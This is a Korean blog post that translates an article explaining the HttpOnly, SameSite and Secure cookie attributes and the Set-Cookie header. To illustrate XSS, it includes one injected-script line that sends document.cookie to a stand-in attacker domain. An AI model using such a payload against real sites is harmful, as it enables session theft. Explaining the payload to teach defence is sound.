Cookie와 그 특성들

 

오늘의 포스팅은 Stateless 한 HTTP(S) 통신을 STATE 하게 만들어주는 '쿠키'와 그 특성들에 대해 알아보려고 한다. 

 

초보 개발자 눈에 비친 쿠키...

 

우선 쿠키란 인증과 관련되어 광범위하게 쓰이기 때문에 front-end나 back-end 두 곳 모두 그 개념에 대해 자세히 알 고 있어야 한다. 

 

쿠키는 마치 로컬 저장소와 같이 작은 단위의 파일을 저장할 수 있는 공간을 뜻하는데, 

 

이곳에 세션 혹은 토큰과 같이 "나는 여기에 로그인한 상태에요"라는 데이터를 남김으로써 서버가 안심하고 개인적인 데이터 통신을 할 수 있도록 만들어 준다. 

 

하지만 쿠키는 클라이언트 상에 저장되는 것이기 때문에 언제든지 탈취될 가능성이 있으며 이에 따라 여러 가지 특성들로 쿠키가 악의적으로 사용되는 것을 방지하고 있다. 

 

아래 블로그에 관련되어 잘 정리가 되어 있어 번역해 옮겨 본다. 

 

출처: https://medium.com/swlh/secure-httponly-samesite-http-cookies-attributes-and-set-cookie-explained-fc3c753dfeb6

Secure, HttpOnly, SameSite HTTP Cookies Attributes and Set-Cookie Explained

 

Seucre, HttpOnly, SameSite, HTTP Cookies Attributes and Set-Cookie Explained

 

쿠키는 웹사이트에 일시적으로 지속성을 부여하는 가장 흔한 방법 중 하나이다. 대부분의 웹사이트에서는 쿠키를 사용하고 있으며, 우리들에게는 쿠키 사용 동의 배너로 익숙하다. HTTP 쿠키는 중요하고 민감한 데이터를 담을 수 있으며 1994년부터 사용되어 왔는데, 이전에는 몇몇 중요한 문제들이 방치돼 오다가 현제에 들어서는 보안 관련 개선 사항들이 다뤄지고 있다. 

 

Secure, HttpOnly 그리고 SameSite 쿠키 특성은 모던 브라우저에 의해 소개되었고 머지않아 강제로 사용되게 될 것이다. 

 

예를 들어, 2020 8월 25일부터 구글 크롬 v85은 보안이 취약한 SameSite=None을 기본적으로 거부하도록 기능을 변경했다. 이러한 새로운 기능들은 당신이 최근의 변화에 익숙치 않다면 당신의 웹사이트가 작동하지 않도록 할 수 도 있다. 예제와 같이, 아래에 설명된 특성들은 이미 최신 트렌드이면서 머지않아 모던 브라우저들은 이 특성들을 강제할 것이다. 

 

이 글에서 각각의 특성을 살펴보면서 왜 개발자가 이를 중요하게 생각해야 하는지 그리고 왜 올바르게 특성을 사용하는 게 보안상 중요한지 알아볼 것이다. 

 

HTTPOnly attribute

HttpOnly 특성은 자바스크립트를 통해 쿠키값에 접근하는 것을 방지함으로써 Cross-site scripting(XSS) 공격을 완화하는 데에 있다. 

 

XSS 공격을 막는 데에는 단순히 사용자 입력을 세탁하거나 <script> 태그를 제거함으로써 완화 효과를 얻을 수 있으나, 하나의 사소한 실수로도 엄청난 결과를 초래할 수 있다. 제 3자 스크립트는 보안을 부술 수도 있다. 매년 이런 공격 시도가 성공했다는 소식을 듣곤 한다. 

 

상상해보라. 당신의 웹사이트가 세션 쿠키를 저장하고 있고 어떤 인풋 필드가 XSS에 취약하게 설계되었다면, 아래와 같이 HTTP 요청을 통해 아래와 같이 생긴 스크립트를 주입시키긴 아주 쉽다. 

 

`attackerDomain.com/cookie=${document.cookie}`

 

document.cookie는 모든 자바스크립트 코드에서 사용 가능하기 때문에 위 코드는 작동을 실제로 하게 되며, 현재 도메인에서 이용되는 모든 쿠키를 프린트하게 된다. 만약 세션이 쿠키에 저장되어 있다면 해커는 사용자의 현재 세션에 접근할 수 있게 된다. 

 

이러한 해킹을 방지하기 위해 HttpOnly 플래그를 쿠키에 사용해야 한다. 

 

HTTPOnly 특성은 자바스크립트의 쿠키 접근을 막는다. 하지만 명심할 부분은 HttpsOnly를 사용한 쿠키는 자바스크립트 fetch()에는 여전히 전송이 된다. 

 

SameSite attribute

쿠키가 cross-origin 요청에 전송될지 여부를 결정하여, cross-site request forgery attacks (CSRF) 공격으로부터 다소 보호해준다. CSRF는 보통 제 3자 쿠키와 관련이 되는데, 제 3자란 직접 방문하지 않은 다른 웹사이트를 말한다. SameStie 특성은 각각의 케이스에 따라 쿠키 보안을 개발자가 설정할 수 있도록 한다. 

 

SameSite는 세 가지의 선택을 할  수 있다: Strict, Lax 그리고 None.

 

• Lax - 모던 브라우저의 기본값으로 설정되어 있다. 쿠키는 최상위 탐색과 GET 요청에만 전송 가능하다. 쿠키는 이미지 혹은 프레임 로드 콜과 같은 cross-site 하위 요청에는 전송이 보류되지만 링크를 따라 외부 사이트에서 URL로 이동할 때는 전송된다.  
• Strict - 이름에서 유추할 수 있듯이, 이 옵션은 SameSite 규칙이 엄격하게 적용된다. 쿠키는 대상자에게만 전송되고 3자로 부터의 요청에는 전송되지 않는다. 브라우저는 동일한 사이트의 요청에만 쿠키를 전송한다. 만약 현재의 URL과 다른 곳에서 쿠키 요청이 들어오면, SameSite=Strict로 설정된 쿠키는 전송되지 않는다. 
• None - 쿠키는 모든 상황에서 전송 가능하다. 즉 Cross-origin 전송이 허가된다. 브라우저는 동일한 웹사이트나 제3자의 요청에도 쿠키를 전송한다. 

None 설정이 이전에는 기본값으로 사용되었으나 최근 모던 브라우저에서는 CSRF 공격으로부터 강력한 보호를 위해 Lax를 기본값으로 가진다.

 

주의: SameSite=None 설정을 하기 위해서는 추가적으로 Secure 설정이 필수로 요구되기도 한다. 

 

Secure attribute

Secure 특성은 이해하기 수월하다. Secure 쿠키는 오직 HTTPS 프로토콜을 사용하는 요청에만 서버로 전송 가능하다. http와 같이 불안전한 웹사이트에서는 Secure 쿠키를 저장할 수 없다. 

 

이 특성은 man-in-the-middle (MitM) 공격을 완화할 수 있다. 

 

Set-Cookie

Set-Cookie HTTP 응답 헤더는 사용자가 나중에 서버에게 다시 보낼 수 있도록 서버에서 사용자에게 쿠키를 전송할 때 사용된다. 다량의 쿠키를 보내기 위해선, 다량의 Set-Cookie 헤더가 동일한 응답을 통해 보내져야 한다. 

 

만약 cookiName 이름을 가지고 cookieValue를 값으로 가지며 https 통신에만 사용 가능하며 자바스크립트로부터 접근이 불가능하면서 CROS 요청이 가능한 쿠키를 사용자에게 보내고 싶다면 아래와 같이 헤더를 설정하면 된다. 

 

Set-Cookie: cookieName=cookieValue; HttpOnly; Secure; SameSite=None

 

Set-Cookie를 이용해 쿠키 삭제하기

 

HTTPOnly 특성을 가진 쿠키는 자바스크립트를 통해 삭제할 수 없다. 최선의 방식은 쿠키 만기일을 과거 시점으로 설정하는 것이다. 아래의 예제는 cookieName이라는 이름의 쿠키를 삭제하는 코드다. 

 

Set-Cookie: cookieName=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT